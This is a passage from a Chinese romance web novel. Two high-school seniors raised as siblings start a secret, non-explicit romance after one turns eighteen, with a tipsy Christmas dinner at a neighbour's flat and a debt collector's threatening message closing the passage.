前面三个字也不是没听陈端说过,但说归说,切实落在字面上又是另外一回事,况且这还是孔净发给他的。 讲台上忽然传来一道咳嗽声,孔净肩膀一跳,手机都快拿不住了, 飞快丢进桌肚,捏起桌上的笔就开始在本子上瞎写,全身每个毛孔都在配合表演“认真听课”这四个字。 新同桌全程目睹孔净这套做贼心虚,很不厚道地笑了。 “老师没看见啦。”新同桌凑过来快乐道,“原来年级第一上课也会偷玩手机,好接地气哦。” 孔净还沉浸在差点被抓包的胆战心惊中,转头对新同桌眨眨眼。 最后那天发出去之后陈端回没回,孔净没敢再把手机拿出来查看。 不过下课铃刚响,她就看见有个没穿校服外套的冷拽身影杵在走廊上。 孔净想笑,那样子好像谁欠了他五百万。 “走啦!” 孔净急忙忙出去,怕晚了要等餐。 陈端偏不急,左肩上的石膏还挂着,右手插校服裤兜里,秋游似的散漫走在浓荫郁绿的校道上。 眼看着一大片蓝白身影涨潮似的从身侧漫过,然后在前面岔口分成两拨,一波涌向食堂,另一波攻向校门外的餐馆。 “……” 孔净转头,表情不善。 陈端却勾勾唇,左脸上一颗小酒窝歪歪挂着,专门露出来气人。 孔净懒得和他斗嘴,自动放慢脚步和他并肩往前。 “除了米线还有什么?” 陈端习惯了用左手去圈她腕骨,孔净余光察觉到他的动作提前把手背在身后。 “什么?” “你说呢,包养。” 陈端别样的固执,小臂绕到她身后还是把她的手腕握进了掌心。 周遭的蓝白身影密密匝匝,距离上次的流言事件才过去不到十天,虽然大家都不再提,但不代表不信。 孔净皱了下眉,把手从他掌心抽出的同时往旁边拉开距离。 “好好走路。” 她不想再生事端。 但这不是陈端想要的。 少年之所以是少年,是因为他们拥有无限的赤忱,对于喜欢的人和事可以奉献一切,相应的,既然喜欢就要拿到手。 “你怕了?” 陈端眼睫半垂,温凉目光落在孔净脸上。 他嗤笑,“又不是真姐弟。” “还是说你喜欢以姐弟的名义玩地下情,喜欢背德带来的刺激。” 声音不大不小,孔净不信从他们身侧经过的人听不见。 她的表情一瞬间变得严肃,扯着陈端的胳膊把他拉到没人的角落。 “你今天怎么回事?” “我怎么了?” 陈端比孔净更不解。 “你忘了你是为什么跟人打架了吗?之前的事还要再发生一次你才开心吗?” 孔净不提陈端倒没想起来,他恍然道:“早知道就不打了,因为他们说的其实就是事实,不是吗?” 孔净睁大眼睛,忽然找不到辩驳的声音。 “只是时态用错了而已,”陈端垂眼牢牢盯紧孔净微微张开的双唇,他忽然伸手,指腹在上面轻轻一抹。 孔净不知道他突然发什么疯,转头检查有没有被人看见。 陈端厌倦这种孔净这种躲藏的态度,“他们说的接吻和上床如果不是未来即将发生的事,那么,孔净我想问问你,你昨天在医院对我做的那些行为,是不是可以定性为骚扰。” 什么接吻什么上床? 她连他嘴唇都没碰过就想这么远了?! 一天天课不好好上,哄他好好待在学校比什么都难,脑子里全是这些鬼东西!! 孔净发现陈端总有办法阶段性把她气炸。 “对,就是骚扰!就是白嫖!你满意了吗?!” 孔净压着声音表达愤怒,冲着陈端一点不怯场。 白、嫖。 “你再说一遍。” 陈端满眼戾气,弓着腰与孔净视线齐平向她靠近。 “白嫖!白嫖!白嫖!不嫖你嫖谁!” 孔净用力推了他一下,紧接着往他脚上的白色板鞋一跺。 在陈端要抓她之前,提起膝盖做了个假动作,鉴于孔净有这方面的前科,陈端伸出去的手又缩了回来,并且横挡在腰腹部前。 孔净冷眼看他一眼,表情完美诠释“就你这水平”。 陈端沉着脸再去抓人,指尖在秋光中捞了个空,孔净已经荡着马尾跑远了。 孔净算是明白为什么大家都说男生比女生晚熟,陈端根本就是小学鸡! 她气鼓鼓地跑到校门外,更气的是果然连餐馆都没位置,双重气愤之下她跑去旁边的路边摊吃了很大一碗炸串。 在碳水化合物的安抚下,总算平心静气上完下午的课。 早上就收好了东西不用再回宿舍,因此放学铃一响,她就背着包火速离开座位。 经过教室后门时,被林语珂叫住,“昨天晚上我让陈端帮你把快递拿去宿舍,他有拿吗?” 这是林语珂自愿调座位之后第一次主动和孔净搭话。 “嗯。”孔净停下来应了声。 林语珂看她,“你不会还在生气吧?” 可孔净记得一直在生气的人明明是她。 “我先走啦,拜拜。” 孔净笑笑,快速走出后门。 “等下,我也要去车棚!” 新同桌也从后门出去,快速追上孔净。 林语珂看见她们手挽手走在一起的快乐背影,用力咬了下唇。 她想,如果不是友情本来就脆弱,也只能说明从一开始孔净就没拿她当朋友。 孔净直接把车骑回居民楼,在网吧旁边的米线店吃了晚饭,就背着书包找Lily开了一台机子。 她在网上发了寻人启事,隔几天就会上论坛查看有没有热心网友回复。 一段时间下来,收效甚微,骗子倒不少。 李贤梅的手机还是打不通,或许她已经换了新号码,在新的地方开始新生活。 如果真是这样,孔净觉得很好。 前几天她抽空去了趟石材厂,那边已经有新的承包人接手,原本他们一家住的两间房子都被腾出来。那些跟了李贤梅和孔大勇多年的工人叔叔和嬢嬢也被遣散。 孔大勇还是不知所踪,这么多天他只接了一次孔净打的电话,“读你的书,老子还轮不到你管……” 在类似荷官发牌、看客吆喝的吵闹声,通话中断。 孔净吐出一口气,拍拍脸,一鼓作气爬上六楼。 门板不隔音,在走廊上隐约听见从屋里传来的哗哗水声。 开门进去,屋里不知什么时候多了一套书桌椅、一盏落地灯,外阳台和屋子之间的隔断玻璃上还挂了一道碎花挡帘。 小小的空间因为这几样东西,而添上家的意味。 孔净从中午开始积压在心里的火瞬间消了大半,他们都太了解对方,既能轻易拱火,也能随意戳到对方软肋。 但是问题来了,屋子就这么大,放了桌椅和落地灯,就没了打地铺的可能。 浴室水声停了,孔净转过头,一道冷白身影推开玻璃门走进来,“……你怎么不穿衣服?!” 陈端周身氤氲着热汽,浑身上下就一件校服裤子,裤腰松松卡在人鱼线上,松紧带垂落,随着他的步伐轻轻晃荡。 “忘拿了。” 他语气恹恹,赤着脚走过来,孔净扶着桌沿让开道,肩膀还是被他裸露的皮肤剐蹭到,那股带着水汽的凌冽皂香直往鼻孔里面钻。 衣服都收在行李箱里,陈端弄出的动静挺大,弓下腰,长指有一搭没一搭地慢慢翻捡,箱子里统共里就那么几件衣服,他翻了一遍又一遍。 年轻的身体结实又漂亮,影子被落地灯映在墙面上,弯成弧线的背脊还泛着未干的水汽。 “……” 孔净把书包里的东西往外倒,目不斜视,犹如误入妖精洞的得道高僧。 那边传来一声轻啧,孔净以为陈端终于穿好衣服了,听见脚步声靠近,转过脸,“……找这么久,衣服呢?” 陈端还是裸着上身,左肩上的石膏浮着几滴水珠,他干脆倚在孔净桌边,“都旧了,不喜欢。” 孔净坐着,漂亮的腹肌与她视线齐平,看着就感觉手感不赖。 “……” “别闹了。”孔净翻开复习资料。 “谁闹。”陈端长指一伸抽走资料,垂眼便看见资料上的署名,孟书宇。 孔净觑见他表情,“只是学习资料,别瞎想。” 陈端撩起眼皮,“我瞎想什么,我们什么关系啊。” 胡萝卜吊在眼前,看得到吃不到,他不要这种不确定性。 孔净看了他一会儿,时间滴答过去,久到陈端以为又将迎来一场舌战。 孔净忽然说:“我记得你有次说过,你实际生日要比身份证上的早两个月?” 这些年陈端从来不过生日,孔净也就没刻意张罗。 陈端想不起来了,说过吗? 孔净:“……” 她把资料重新拿回手里,“算了,当我没——” “对,是早两个月。”陈端反应过来,右手压着孔净面前的资料,指节潮热,身体压下来也是潮热的。 孔净靠着椅背往后仰,一根指节戳在他腹肌上,结实燥热的触感让她大脑宕机一秒,然后才说:“到时候去买个生日蛋糕庆祝你成——” “没有到时候,就今天!” 不等孔净反应,陈端转身从行李箱里抓起一件衣服就套上,袜子都来不及找,赤脚踩进板鞋,“嘭!” 出门了。 下楼的声音很大,咚咚咚…… 孔净的心跳也被踩乱了。 她低头去看复习资料,上面隐隐有他留下的潮湿指痕。 不可能再心如止水地看书,装样子都装不出来。 孔净拿了衣服去洗澡。 陈端在浴室里留下的热气还没散尽,刚从花洒流出来的水也是热的,但即便是这样,皮肤被水流包裹的一瞬间,孔净还是打了个摆子。 都乱了。 反正都理不清了。 孔净擦着头发从浴室出来时,听见咚咚的敲门声,她才反应过来陈端出去得太急,连钥匙都忘了拿。 “唰”的一下拉开门,少年额发尽乱,大口喘着气,右手上提着一个印着24小时便利店logo的购物袋,这家店离得不算近,因为没带钥匙,他是跑着去再跑回来的。 “蛋糕呢?” 孔净只扫了一眼,就被他眼里的冷焰火烫伤。 “面包不行吗?” 陈端跟着孔净进屋,怕她反悔,急忙解释说,“便利店里的蛋糕卖完了,带馅的面包也一样,不过就是一个形式……” “蜡烛呢?” 孔净歪着头用已经半湿的毛巾继续擦着湿发,发丝甩动,几颗水珠打在陈端的脸上。 他离她很近,垂眼看她。 明知她这句可能是在故意刁难,还是笑着问一句,“我现在再去买?” 孔净没说话。 把毛巾搭在椅背上,伸手去拿他手里的购物袋,看了眼里面的东西,再抬起头时,被热水冲红的脸颊更烫了。 “……我让你买这个了?” 电影里看过无数次,在现实中却是第一次接触,陈端就算表现得再老练,表情也有些不自然。 但他硬是装出几分痞气,“今天不用?” 孔净一把将购物袋搡到他怀里,里面的东西从袋口掉出来,两个方正包装盒“啪”的一下落在地上。 “坐下。” 不等陈端再说什么,孔净忽然下命令。 “坐哪儿?……床?” 陈端一直看着孔净,慢慢后退,旧床板因为承受他身体的重量发出一声呻|吟。 他两腿放松敞开,单手撑在身后,和那天在医院病房一样的姿势。 孔净走到他面前,手掌按在他的肩膀上以此借力,宽松的全面睡裤面料被屈起的膝盖抻平,折起的小腿缓慢落在他的大腿边。 “咯吱”,床板被迫承受两个人的重量。 湿发垂落,孔净居高临下,背脊挺得很直,跪抵在他的上方,迟迟不肯再有下一步动作。 十月底的秋季,十平米不到的小房间里却热得出奇。 陈端喉咙哑得厉害,撑在身后的指节开始发颤。 “别玩我,孔净。” 孔净并不比他好到哪里去,压在他肩膀上的左手指尖把他的T恤面料揉皱、弄湿。 她没有任何经验,却强硬地牢牢抓住主导权。 “又不喊姐姐了?” 声音又软又饱满,掐出一汪水来。 “姐姐……” 陈端的声音更哑了。 “嗯。” 孔净身体直直地往下压,缓慢的,所有重量都落在陈端的腿上。 陈端脖子竭力往后仰,孔净脸朝下,另一手抓着他的领口往身前扯。 鼻息交混,从身体里快要爆炸。 孔净手扶着他的脸,“乖一点,好吗?” “……好。” “不许再说浑话,能做到吗?” “……能。” “以后什么都听我的。” “……好。” 拉得太长了,陈端手抓着孔净的腰,是祈求,“姐姐……” 话音未落,烈火烹油。 两片柔软撞上去。 第52章 解压神器 褪了刺的仙人掌, 饱满汁水碰撞着溅洒四溢。 没有经验的吻,少年人的横冲直撞。 一场奇异的热带雨,在不到十平米的房间里酣畅淋漓地下。 原来接吻也是可以让人窒息,可以让人体会到濒死的快乐。 孔净的长发本来就是湿的, 纠缠在陈端的身上, 她后来感觉发根生出了水, 热汗涔涔,她的睡衣和他的T恤都被润透了。 肺里的空气稀薄,再不离开就要缺氧, 可是陈端扣着她,一旦有偏离的趋势, 他便立即追上来。 什么时候调转的姿势都不知道,床板那么烫, 他的身体那么热, 她快化了。 十指紧紧抓着他后背, 热浪席卷,烈火烘烤,孔净喘不过气来,用力偏过脸, 自愿露出的纤长脖颈成了另一个骤雨发源地。 细细密密, 有点疼, 猛烈,凶狠。 孔净断断续续的想,原来他的外表真的只是伪装。 这个……坏种。 被扣在一个滚烫的怀里,骨骼和肌肉都无非结实,这样睡一晚体验并没想象中那么好。 早晨孔净被生物钟叫醒,嘴巴张开, 呼出的气息那么热。 身后紧紧拥着她的人一动不动。 床板发出吱呀声,孔净在陈端醒来之前快速起身,伸腿从他身上跨过去,扫眼没找到拖鞋,赤着脚就进了浴室。 她在里面待了好一会,门一开,被近在咫尺的人影吓一跳。 陈端伸手就扣住她的腰,不知道他哪儿来那么大的力气,孔净双脚瞬间离地,下一秒又落在他的脚背上。 “喂……发什么神经啊!” “没发神经。”陈端把脸埋在她的颈窝深吸一口,然后在她耳边笑着说,“早上好,姐姐。” 孔净大力推开他,进屋拿了衣服再回浴室。 陈端就倚在玻璃推拉门边,垂眼看着她进进出出。 接吻而已,他却像是忽然被推入迪士尼乐园的小孩。 新奇,跃跃欲试,意犹未尽。 他总是缠着孔净,要抱,要吻,说的话好听,动作却很过分。 两个人的出租屋,门一关,帘子一拉,肆无忌惮地使坏。 “你原来都是装的!” 孔净坐在书桌前,看了两小时书终于可以休息十分钟的时候,被他站在椅子后面弯下腰扶住脸就亲了十分钟。 “装什么?” 陈端听见孔净设置的十分钟闹钟响了,很有契约精神地离开她的唇。 孔净懒得和他说,水痕挂不住,她抬手把他推开,抽了几张纸从嘴巴擦到脖子。 “这里也有。”两根长指伸过来,不知死活地点了点孔净的锁骨。 孔净打掉他的手,“出去给我买杯奶茶。” “点外卖不行吗?” “不行。” 把人从屋子里支使走,孔净总算有了片刻清净。 但是到了晚上,那张床几乎快要散架。 弄出的动静喑哑晦涩,比孔净看过的任何一部爱情片都要令她脸热。 但,这还只是接吻的程度。 从那天开始,孔净私心里无比喜欢住在宿舍的日子。 相反,陈端只喜欢周六晚上到周日晚自习之间的这段时间。 但即便是这样,周中在学校,陈端有时也能见缝插针地捆住孔净。 无人的角落,远近缥缈传来嬉闹声,炽烈的唇瓣紧密贴合,胆战心惊,游走在隐秘之下,带来双倍的刺激和快乐。 每每这个时候,极致的快感和罪恶感同时在孔净心底滋生。 那场流言提早来临又结束,而现在他们真的坠入道德深渊,孔净想不到如果被人发现,再次被打上背德的标签,她是否还能像上次那样理直气壮,颠倒黑白。 就在这样的道德煎熬与欲望沉溺中,闽城逐渐从初秋变成深秋,直至十二月彻底迎来冬天。 毕竟是沿海亚热带气候,冬天再冷,顶多在校服外套里加件打底衫和薄毛衣也就够了,抗冻的男生甚至在中午气温最高的时候只穿一件短袖就在球场上疯跑。 陈端当然也是其中之一。 他身上的石膏早就拆了,虽然医生叮嘱伤筋动骨一百天,劝他好好将养不要剧烈运动,他自己却不当一回事。 要不是有孔净看着,他或许不等石膏拆掉,早就在操场上肆意运球了。 “你跟陈端还好吧?” 体育课,孔净跑完八百米坐在台阶上休息,林语珂随后过来递给她一瓶水。 这段时间林语珂时常向孔净示好,买水、课间问她要不要去厕所、周末约着一起去书店…… 连孔净新同桌都感觉莫名其妙,情绪这么反复,旁边人光是看着都替孔净累。 “谢谢,不用啦,我待会回教室喝。” 孔净笑了笑,没要林语珂给的饮料,也没应她这句没头没脑的提问。 林语珂站在孔净面前,拿水的手垂在身侧,“你妈妈还没找到吗?” 孔净看她,林语珂表情有些惊讶,“你怎么这种眼神,我只是关心你。如果你不想回答,就当我没说吧。” 孔净站起来拍拍裤子上的灰,转身往教室方向走。 林语珂也要回教室,“我真的很佩服你,家里出了这么大的事,之前学校还传你和陈端那个……但是你居然一点没受影响,还是每次考试都拿第一。” “孔净,你知不知道我一直都很羡慕你。” 林语珂自言自语说了一路。 始终不见孔净回应,她忽然把脸朝向孔净,以两个人才听得见的音量低声说:“其实……你和陈端是真的吧?” 孔净的步子差点就乱了,她转过脸,“你胡说什么?” 林语珂仔细观察着孔净的表情,对于这件事她其实一直持怀疑态度,因为太过惊悚,并且孔净从来都是优秀学生范本,根本不像是会做出这种可怕事情的人。 林语珂手指扣着饮料瓶,“有没有胡说,我们心里都知道。” 孔净屏住呼吸,还没继续迈开步子,就听见林语珂下一句,“……关注你和陈端的人蛮多的。陈端每次下手都那么狠,挺容易招人恨。” “我只是提醒你注意一下,就当我胡说吧。” 林语珂拨了下刘海,越过孔净。 “你们刚才在说什么?” 陈端不知道什么时候从球场跑过来,18班也上体育课。 孔净回神,冲他笑了下,“没有啊。” 刚运动过,陈端头发有些乱,微微喘着气,“中午回去吃。” 孔净反应很快,“不——” “等会放学过来找你。” 陈端根本不给她拒绝的机会,转身跑回球场。 当初选在网吧居民楼租房子一部分原因是因为离学校近,骑车差不多一刻钟。 如果是陈端骑的话只用十分钟。 孔净体会到什么叫搬起石头打自己的脚,因为离得近,所以陈端有时就会趁着午休时间把她拐回去。 午餐已经提前点好并且送到,两人前后上楼,是正常的社交距离,陈端单手提起挂在把手上的外卖,开了门,另一手就绕过来直接扣住孔净的腰把人提进去。 钥匙掉在地上,外卖随手搁在门边柜上,等不及再往里走两步,陈端把孔净抵在门板上就开始亲。 水光潋滟,豆沙色的唇瓣被亲得像涂了一层樱桃红的唇釉,孔净推他,“帘子、帘子没拉。” 陈端压着她的唇“嗯”了一声,并不马上离开,嘴唇仍贴着,仗着身高和体型优势把人抱起来,一边亲一边走去拉帘子。 孔净怕摔,两手紧紧扣住他肩膀,双腿缠住他的腰。 听见“刺啦”一声,椅子被陈端撞到,他还是没停下来。 “唰”的一下,他单手托着孔净,另一手扯上遮光帘。 视野里,光亮瞬间被黑暗取代,狭小的屋子完完全全只属于他们,没有被发现的可能,没有窥视的眼睛,姐弟、道德、公序良俗……通通被踩碎。 没一会闹钟响,孔净手脚并用把身前的人往反方向推,脑袋同时偏向一侧。 陈端微微喘息着,滚烫的唇从孔净的嘴角用力滑向她的耳廓,还想赖着不起,孔净一只脚掌抵着他的腰腹用力踢一下:“快点起来,不然下次再减一分钟。” “……”陈端哑着嗓子嗤笑,“从来没听说谁接吻之前要定闹钟,多一秒都不行。” 床板随着孔净起身的动作左右晃动,她一边拢头发一边走去拉窗帘。 “那是因为如果不定闹钟,你就会一直一直……继续。” 校服外套掉了,孔净捡起来抖了抖搭在椅背上,毛衣还是完好的,她把手从下摆伸进去理了理里面有些歪了的打底衫。 “我没碰那儿。” 陈端两个手肘向后撑在床上,仰躺着忽然来了一句。 孔净脸上刚要散掉的热气又聚集回来了,她没说话,走过去很镇定地踢了陈端一脚。 外卖有点凉了,吃完之后,没着急回学校,孔净站在阳台上一边消食一边背英语范文。 期末考试在即,后黑板上的高考倒计时数每一天都在减少,座位上的复习资料却越堆越多,教室里的空气仿佛也因此被挤压,令人喘不过气来。 孔净抗压能力算是强的,她从来没叫过苦,但脸上的笑容明显要比以前少很多。 陈端自己心态放很平就算了,还来劝孔净,“你现在的分数保持下去,高考成绩不会差。” “不差就行了吗。” 孔净不认同,清安高中的年纪第一,在那些重点高中里只能算是中上水平。 她想考好一点,再考好一点。 从小到大都是被安排,这回她终于能自己做主了,当然要拼尽全力。 孔净把自己整理的资料每科分门别类,为陈端量身定做一个学习进度表,也监督他学。 陈端最近这段时间格外乖,但他总是有坏心眼,比如: “这个太难了,你过来再讲一遍。” 边说,边敞开两条长腿,示意孔净坐上来。 再比如: “这个单词怎么发音?” 他盯着孔净的脸,等她一张开嘴巴就低头去勾她的舌头,美其名曰弄清楚舌头形状更有利于发音标准。 现在也是,孔净在阳台上晒着太阳背英语,他散漫走来,前胸贴着孔净后背,单手从她身侧绕到前面,也不捣乱,净白手掌稳稳托着孔净的手给她当人形书立。 少年散发的荷尔蒙气息却格外强烈。 “……” 孔净淡定看了眼手表,差不多该出发去学校了。 陈端跟在她身后,一根长指隔着毛衣在她背脊上游走,孔净忽然想到什么,“……戴望雅,她还在临水镇住着吗?” “你问我?” 陈端都懒得回这句,先走去门口换鞋。 “不问你问谁?我们两个之中,应该是你和她更熟吧?”孔净穿校服外套的动作顿了下,一个画面从脑海中闪过,她表情不善,“毕竟,你们也亲过。” “……??” 陈端皱眉,看她像看说胡话的高烧病人。 孔净推开他,换了鞋子出去,咚咚咚地踩着楼梯台阶,中途还用手背在嘴唇上揩了一下。 陈端走在后面看见她的动作,第一反应是被气笑。 孔净仰头,也回了他一个冷笑。 “明天、后天、大后天都不要来找我吃饭。” “……”陈端几步垮下台阶和孔净的速度追平,“你讲不讲理?” “我不讲理,戴望雅比较讲理,你找她吧。” “你这张嘴还是用在别的地方比较合适。”陈端说着手掌就伸过来,要掐孔净的脸。 孔净撒腿就跑。 陈端怕她真的摔了,只是假装在后面追。 错乱的脚步声和不时溢出的笑声填满楼道。 “你们今天不上课吗?” 刚从一楼出去,就迎面撞上Lily。她边说还边掏出手机看今天周几。 “要上,中午回来拿点东西。” 孔净一只手背在身后把站在后面离自己很近的陈端往后面推了点。 Lily点点头,感觉自己一天到晚泡在网吧都被泡迷糊了。 孔净问她:“姐姐,你来这边有事吗?” “李阿嬷说她家的电视机坏了,叫我过来帮她看看。好惨,其实我虾米都不懂啊,最多上手拍一拍。”Lily的视线在孔净和陈端身上打转,她想起,“这周六是平安夜,晚上我请你们吃饭。就这么定了!” 晚上,孔净回到宿舍就收到Lily发来的微信,【我怎么感觉你和陈端的状态不太对?】 两个舍友在后面走来走去地说话,孔净一个字都没听进去。 指尖敲在屏幕上感觉有点凉,她抿了抿唇,【哪里不对?】 屏幕上方显示“对方正在输入中”,过了十来秒,Lily:【我知道了,你是不是学习压力太大了?陈端好久没来网吧,说他在好好上课我绝对不信,他是不是忙着帮你解压呢?】 孔净想起两人的亲吻画面,脑袋运转速度变慢,两个字已经发送过去了才反应过来。 【是啊。】 第53章 真够坏 Lily以曾经学渣的身份劝孔净没必要太拼, 她相信以孔净的实力随便考考就能上清华北大。 这话Lily是信了,孔净不敢信,但她还是很感谢Lily的鼓励。 Lily话锋一转,问孔净;【陈端还没交女朋友吧?】 孔净在屏幕上敲敲打打的时间有点长, 最后发过去的是, 【应该没有。】 Lily:【OKOK!抛媚眼.jpg】 对话到此结束。 周六下午放学, 孔净坐陈端车回居民楼,中途专门绕远路去市场买了一个水果礼盒。 先回607室放书包,陈端就势拉开椅子坐下, 明摆着不想去Lily家做客。 孔净拽他,“之前都答应了。” 搬来这边之后Lily帮了他们很多, Lily主动邀请,如果不去会显得很没礼貌。 “就只是吃个饭啊, 很快就回来了。” 孔净让陈端拎着礼盒。 从网吧后面的楼道上去, Lily家住在三楼, 门是虚掩着的,孔净在外面喊了声姐姐,里面随即响起鞋跟敲击地板的哒哒声。 “圣诞快乐!” Lily身体倚着门框,一只手搭在拉开的门板上, 紧身大摆连衣裙凸出身材曲线, 领口开得有点低, 几绺栗色大波浪轻轻晃动,显得那两抹雪白更白了。 孔净听见站在她身后的人发出一声轻笑,那意思好像是:这就是你说的“只是吃个饭”? “……” Lily家的装修和她本人日常的穿搭风格一样,娇媚又热辣。 屋子里空调温度开得很高,豹纹沙发、蓝红菱格地毯、网络热单、会闪的霓虹壁灯……超级具有节日氛围。 Lily的拖鞋居然也是细跟的,难怪踩在地板上每一下都哒哒声, 她从厨房端着果切走过来,细腰水蛇一样扭动,孔净不知道陈端是什么感觉,她一个女生看了都觉得脸热。 “今天过节,开瓶酒!都要喝哦,成人年不能说不,红酒度数又不高!” Lily把三只高脚杯都满上,自己先举起一杯,“来啊,干杯!” 孔净手肘碰碰陈端,三个人的酒杯碰在一起发出清脆声响。 因为孔大勇酗酒对她造成的心理阴影,长这么大,这还是她第一次喝酒。以为味道会很难接受,咕咚一口下去,酸酸的,忽略那一点点冲鼻子的后劲,感觉和没加糖的酸梅汁差不多。 “不能喝就放着,我帮你喝。”陈端手里那杯已经下去大半,他脸色一点没变,清爽靠着椅背。 “怕什么,喝多了就在这里睡,平时压力那么大,难得放松一下。”Lily很高兴,一手举着酒杯,一手拉孔净起来绕圈圈。 她试着来拉陈端,陈端坐着没动,一口一口喝着酒,平静欣赏着两个把客厅当舞厅的“醉鬼”。 孔净是有点醉了,她把一杯酒全都喝完了,感觉脑袋有点晕,身体却很轻盈。 被Lily带着在地毯上乱舞,暂时把卷子、考试、高考全都抛在脑后。 后来她们又开了一瓶酒,陈端劝过无果就由她们去了。 两瓶酒见底,孔净晕晕乎乎地靠在沙发上,Lily比她好一点,但也只是一点,她两手扶着沙发踩着五厘米的细跟拖鞋,胸前的雪白摇摇晃晃,几乎要掉出来。 陈端弯着腰要扶孔净起来,Lily忽然面向他贴了上来,陈端的胳膊擦到她胸前的皮肤,立刻移开了。 “干嘛?都成年了还这么纯情。”Lily咯咯笑,在跌向沙发之前两只手臂藤蔓一样缠上陈端的腰。 “嘘,别吵醒你姐。” Lily下巴杵在陈端肩膀上,深吸了一口年轻身体所散发出来的诱人味道。 她眼波流转,红唇一张一合,“咱俩试试嘛,又不要你负责,真的不想?” 玫红色的美甲隔着衣服面料顺着他紧实的身体慢慢往下,“像你这个年纪的男生应该很想才对,你平时怎么解决的?……看片?洗澡的时候自己弄过吗?嘶——” 陈端扯开她的手,Lily一下没站稳,跌坐在沙发上。 沙发因为她突然的身体重量上下颤了颤,旁边孔净跟着偏了下头,还是闭着眼睛没醒。 Lily站不起来了,干脆整个摊在沙发上,看着陈端蹲下身把孔净往背上挪。 酒精作用,视线里出现各种彩色马赛克,恍然看见陈端左手绕到背后,冷白手背上青筋凸起,手掌贴合孔净的胸骨顺着往下,卡在她的侧腰上把人扶正,防止她在背后无意识歪倒。 瘦高的少年背着女孩走出客厅,“砰”的一声,大门关上。 他们走了。 Lily的意识被酒精扯着迅速下坠,她乱七八糟地想,姐姐,弟弟,没有家长,相依为命,好惨,啊陈端真没劲…… 楼道里的灯明明灭灭,陈端走得慢,孔净在他背后趴得挺稳,两只胳膊像蟹螯张牙舞爪地从他肩膀斜到前面,每当身体往下坠感觉要滑下去了,她的手肘就抵着陈端的肩胛骨借力往上挪一点。 陈端都懒得说她,“别装了。” 趴在后背上的上哼哼两下,脸翻个面,继续闭着眼睛睡。 陈端:“……把你扔这儿了。” 说着,托着孔净大腿的手掌忽地撤了半分,孔净感觉身体有超重摔滑的趋势,两只“蟹螯”条件反射在他脖子前面打成一个死结,整个人像袋鼠宝宝一样紧紧贴着少年后背。 陈端:“……” 孔净:“……” “刚才在里面看挺爽?”陈端是真想把孔净就地扔下。 孔净语气迷茫,声音黏黏糊糊,“什么?” 装得跟刚醒似的。 陈端不说话了,呵笑一声,背着她继续往前走。 “……走过了。”孔净提醒他。 “嗯,外面有个回收站,把你卖了。” “哦,多少钱一斤?” “五毛。” “比我想的贵点。” 时间挺晚了,巷子里没有路灯,高处的窗户偶尔投射出一片薄薄的光晕,在半空就散了,照不到地上的青石砖。 孔净的视野随着陈端的走动而轻轻摇晃,她左脸贴着他的后背,看见一轮轻薄圆月,在居民楼之间的窄缝里露出半张脸来。 “已经过了十二点了吗?” 她说醉也没醉,说清醒吧脑子又有些晕,只觉得意识很缥缈,身体又沉又轻盈。 知道陈端在生气,她笑着往上拱了拱,嘴巴凑近他左边耳朵,“圣诞快乐,许个愿吧。” 孔净的嘴唇有些凉,像是薄荷切糕,冰冰的、软糯糯的,轻轻夹着陈端的耳廓,把他的听觉神经喂了个饱。 不想理人,却还是开了腔,“你是圣诞老人吗?” “不是啊。”孔净的嘴唇被他耳廓的热度传染,开始回温,她忽然说,“我想爸妈了,你呢?” 真是奇怪,记忆里李贤梅和孔大勇留给孔净温情的部分少之又少,绝大多数事情想起来都带着负面情绪,但孔净偶尔还是会想他们。 她也不知道怎么搞的,好好一个家怎么就成了现在这样。 陈端没被孔净突然的煽情感染,他很诚实,“不想。” 孔净拍了他一下,“我说的是你自己的爸妈。” “也不想。” “为什么?” “都死了。” 四周忽然沉默下来,夜里的冷空气侵袭,孔净把自己缩得更小一些。 但很快又伸展开来,像是用身体帮陈端抵御从后面扑来的冷风。 拐过前面的路口就到了便利店,欢乐的机械女声响起,“欢迎光临!” 忽略夜班收银员投来的好奇目光,陈端直接背着孔净进店,把她放在座位区的高脚凳上,还帮她调整姿势,上半身前倾,两手肘撑在桌面上,“坐好,别摔了。” 孔净脸红扑扑,眼睛亮晶晶,摆摆手,“快点!” 陈端买了一瓶带醒酒功能的热饮,拧开瓶盖,握着瓶身递到孔净面前。 “我自己有手。”孔净抗议,但无效。 陈端喂她喝了好几口,随手用指腹在她嘴角抹了抹。 孔净拍他,“走走走!” 然而白色板鞋扔搭在脚踏上,手伸长了按在陈端肩膀上往下压。 陈端领会,轻笑一下,转个身背对着在她面前蹲下,“上来。” 孔净眼睛弯成月牙,趴在背后跟他说悄悄话,“这边看不全月亮长什么样。” “什么?” “我说……”孔净只好搂着他的脖子贴近些,才被热饮浸润过的嘴唇再次凑到他耳边。 这回陈端听清了。 “想看吗?” “还好吧。” 十二月二十五日凌晨伊始,窄巷蜿蜒,光影清淡,那轮半圆的月亮慢慢从楼体中现出全貌。 淡黄色的光,轻薄,美丽。 像极了那年夏天在石坑下见到的那一个,陪她看月亮的也是同一个人。 凌晨的气温越来越低,并不十分凉,因为两个人的体温足以抵御闽城的冬。 孔净伏在少年宽阔温暖的后背,轻轻呼出一口气,“我们回家吧。” 圣诞之后便是元旦,学校放了一天假,孔净和陈端在网吧旁边的米线店庆祝节日。 吃完之后,陈端陪孔净回出租屋,两个身影腻在一张靠背椅上进行他们都喜欢的消食运动。 闹钟响,陈端不满地伸个手过去,长指在桌上手机盲划两下。 学霸对于时间的掌控,精细到令人发指。 “啪!” 孔净偏头一看,被亲红的嘴巴立刻嘟起来,“你把我手机弄掉了!” “嗯,再买一个。” 陈端还要凑上来,孔净两手撑在他肩膀上身体往后仰,同时双脚着地灵巧从他身上跳下来。 捡起手机发现贴的保护膜边角裂了一点,赶紧解锁查看屏幕有无损坏。 陈端坐在椅子上,两手撑在敞开的长腿上也弯下腰来看。 孔净一下摁灭屏幕。 “我看看。” 陈端伸手,被孔净一下打掉。 “你不是要去网吧?快走快走!” 下周就要举行期末考试,陈端越来越放松,还有心情去打游戏,孔净则恨不得一分钟掰做两分钟用,压力倍增。 相应的,孔净的脾气和压力呈正比,日渐大了起来。 敏感时期,陈端见好就收,出门之前跟她说:“学累了就喊我,随叫随到。” 真把自己当解压玩具了。 “快走啦!” 孔净毫不留恋地推他出去。 门一关,急匆匆跑过来抓起放在桌上的手机。 刚才只是在提示栏里晃眼看见“欠债还钱天经地义”几个字,点进去看见完整的信息内容,孔净感觉有双无形的大手捂住了她的口鼻,窒息感瞬间降临。 【欠债还钱天经地义!欠债不还,断子绝孙!孔大勇是你亲爸没错吧?限你三天之内筹集钱款并且打到指定账户,否则后果自负!】 